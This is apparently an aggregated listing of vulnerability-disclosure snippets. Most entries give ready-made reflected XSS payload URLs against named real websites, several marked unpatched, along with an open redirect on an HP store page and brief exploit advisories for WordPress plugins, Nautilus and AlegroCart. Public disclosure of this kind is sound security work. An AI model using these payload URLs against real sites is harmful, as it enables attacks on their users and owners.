sewingcraft.com XSS vulnerability

Vulnerable URL: http://www.sewingcraft.com/search.php?searchfield=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1486504 Google...

coolice.legis.iowa.gov XSS vulnerability

Vulnerable URL: https://coolice.legis.iowa.gov/cool-ice/default.asp?Category=ExamplesJS=%22%3E%3Csvg/onload=confirm%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

evans.rc.fas.harvard.edu XSS vulnerability

Vulnerable URL: http://evans.rc.fas.harvard.edu/cgi-bin/former.cgi?search=%22%3E%3Csvg/onload=confirm%28%27XSSPOSED%27%29%3E=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

arkansasvalleyba.com XSS vulnerability

Vulnerable URL: http://arkansasvalleyba.com/search.php?pageID=search=%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

nathankramer.com XSS vulnerability

Vulnerable URL: http://www.nathankramer.com/settle/registrydatabase.asp?SearchName=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

news.fool.co.uk XSS vulnerability

Vulnerable URL: http://news.fool.co.uk/tags/hub.aspx?tag=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 15:37 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

el.hattrick.org XSS vulnerability

Open Bug Bounty ID: OBB-126238 Description| Value ---|--- Affected Website:| el.hattrick.org Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

wccl.mgh.harvard.edu XSS vulnerability

Vulnerable URL: http://wccl.mgh.harvard.edu/roschedule.php?scheduleid=%22%3E%3Csvg/onload=prompt%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:18 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

RIPS Scanner 0.55 Multiple LFI Vulnerabilities

RIPS scanner is prone to multiple local file inclusion LFI vulnerabilities. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

store.hp.com Open Redirect vulnerability

Vulnerable URL: https://store.hp.com/SwedenStore/GenericLandingPage.aspx?tduid=ee4f5170d831bec85cf8c4cb359453d0=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| Yes, at 15.10.2016 Latest check for patch:| 15.10.2016 01:46 GMT Vulnerability type:| Open Redirect Vulnerability...

WordPress Symposium 14.05.02 Cross Site Scripting

Plugin Name : WP Symposium Effected Version : 14.05.02 and most probably lower version's if any Vulnerability : A3-Cross-Site Scripting XSS Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Unauthenticated PoC - Proof of Concept : The following fields put the payloa...

WordPress Limit Attempts 1.0.3 Cross Site Request Forgery

Plugin Name : WP Limit Attempts A8-Cross-SiteRequestForgeryCSRF Effected Version : 1.0.3 and most probably lower version's if any Vulnerability : A8-Cross-Site Request Forgery CSRF Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Unauthenticated PoC - Proof of...

WordPress Facebook Like Button 2.32 Cross Site Scripting

Plugin Name : Facebook Like Button Effected Version : 2.32 and most probably lower version's if any Vulnerability : A3-Cross-Site Scripting XSS Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - Proof of Concept : The following field put the paylo...

edu.kuopio.fi XSS vulnerability

Vulnerable URL: http://www.edu.kuopio.fi/forum/message.asp?message=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

helpdesk.cps-datensysteme.de XSS vulnerability

Open Bug Bounty ID: OBB-113127 Description| Value ---|--- Affected Website:| helpdesk.cps-datensysteme.de Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

Gnome Nautilus 3.16 Denial Of Service

Exploit Title: Gnome Nautilus Denial of Service Discovery Date: 2015/10/27 Public Disclosure Date: 2015/12/01 Exploit Author: Panagiotis Vagenas Contact: https://twitter.com/panVagenas Vendor Homepage: https://www.gnome.org/ Software Link: https://wiki.gnome.org/Apps/Nautilus Version: 3.16 Tested...

libinfo.uark.edu XSS vulnerability

Vulnerable URL: http://libinfo.uark.edu/reference/instruction/videosurvey.asp?video=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:11 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

otto.se XSS vulnerability

Vulnerable URL: http://www.otto.se/logga-in?email="';-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3826041 Google Pagerank| 3 VIP website status:| No Check otto.se SSL...

WordPress Plugin Users Ultra 1.5.50 - Unrestricted Arbitrary File Upload

Exploit Title: WordPress Users Ultra Plugin Unrestricted File Upload Discovery Date: 2015/10/27 Public Disclosure Date: 2015/12/01 Exploit Author: Panagiotis Vagenas Contact: https://twitter.com/panVagenas Vendor Homepage: http://usersultra.com Software Link:...

AlegroCart 1.2.8 - LFI/RFI Vulnerability

Exploit for php platform in category web applications 1. Introduction Affected Product: AlegroCart 1.2.8 Fixed in: Patch AC128fix22102015 Path Link: http://forum.alegrocart.com/download/file.php?id=1047 Vendor Website: http://alegrocart.com/ Vulnerability Type: LFI/RFI Remote Exploitable: Yes...